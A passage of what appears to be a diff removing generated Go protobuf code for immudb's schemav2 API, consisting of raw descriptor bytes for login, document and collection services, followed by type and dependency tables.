0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x12, - 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, - 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, - 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, - 0x70, 0x22, 0xa7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x5b, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, - 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, - 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, - 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa1, 0x03, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x4b, 0x65, 0x79, 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x62, 0x0a, 0x10, 0x50, 0x72, 0x69, - 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, - 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x60, 0x0a, - 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x54, 0x79, 0x70, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, - 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x48, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, 0x6f, 0x6f, 0x66, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, - 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, 0x02, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, 0x10, 0x04, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x38, 0x0a, 0x11, 0x50, 0x6f, 0x73, - 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, - 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, - 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, - 0x47, 0x10, 0x02, 0x32, 0xd3, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x56, 0x32, 0x12, 0x76, 0x0a, 0x07, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x56, 0x32, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, - 0x32, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x22, 0x0d, 0x2f, 0x73, 0x79, 0x73, 0x74, - 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, - 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x81, 0x01, - 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x8d, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x94, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, - 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x88, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, - 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x81, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2b, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbb, 0x01, 0x5a, 0x2d, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, - 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, 0x88, 0x01, 0x12, - 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x20, 0x76, 0x32, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x59, - 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, - 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, - 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, - 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -} - -var ( - file_schemav2_proto_rawDescOnce sync.Once - file_schemav2_proto_rawDescData = file_schemav2_proto_rawDesc -) - -func file_schemav2_proto_rawDescGZIP() []byte { - file_schemav2_proto_rawDescOnce.Do(func() { - file_schemav2_proto_rawDescData = protoimpl.X.CompressGZIP(file_schemav2_proto_rawDescData) - }) - return file_schemav2_proto_rawDescData -} - -var file_schemav2_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 17) -var file_schemav2_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.schemav2.QueryOperator - (PossibleIndexType)(0), // 1: immudb.schemav2.PossibleIndexType - (*DocumentInsertRequest)(nil), // 2: immudb.schemav2.DocumentInsertRequest - (*DocumentQuery)(nil), // 3: immudb.schemav2.DocumentQuery - (*DocumentSearchRequest)(nil), // 4: immudb.schemav2.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 5: immudb.schemav2.DocumentSearchResponse - (*LoginRequest)(nil), // 6: immudb.schemav2.LoginRequest - (*LoginResponseV2)(nil), // 7: immudb.schemav2.LoginResponseV2 - (*CollectionCreateRequest)(nil), // 8: immudb.schemav2.CollectionCreateRequest - (*CollectionInformation)(nil), // 9: immudb.schemav2.CollectionInformation - (*CollectionGetRequest)(nil), // 10: immudb.schemav2.CollectionGetRequest - (*CollectionListRequest)(nil), // 11: immudb.schemav2.CollectionListRequest - (*CollectionListResponse)(nil), // 12: immudb.schemav2.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 13: immudb.schemav2.CollectionDeleteRequest - (*Proof)(nil), // 14: immudb.schemav2.Proof - nil, // 15: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - nil, // 16: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - nil, // 17: immudb.schemav2.CollectionInformation.PrimaryKeysEntry - nil, // 18: immudb.schemav2.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 19: google.protobuf.Struct - (*_struct.Value)(nil), // 20: google.protobuf.Value - (*schema.VerifiableTx)(nil), // 21: immudb.schema.VerifiableTx - (*empty.Empty)(nil), // 22: google.protobuf.Empty -} -var file_schemav2_proto_depIdxs = []int32{ - 19, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 0, // 1: immudb.schemav2.DocumentQuery.operator:type_name -> immudb.schemav2.QueryOperator - 20, // 2: immudb.schemav2.DocumentQuery.value:type_name -> google.protobuf.Value - 3, // 3: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentQuery - 19, // 4: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 15, // 5: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry - 16, // 6: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry - 17, // 7: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry - 18, // 8: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry - 9, // 9: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation - 1, // 10: 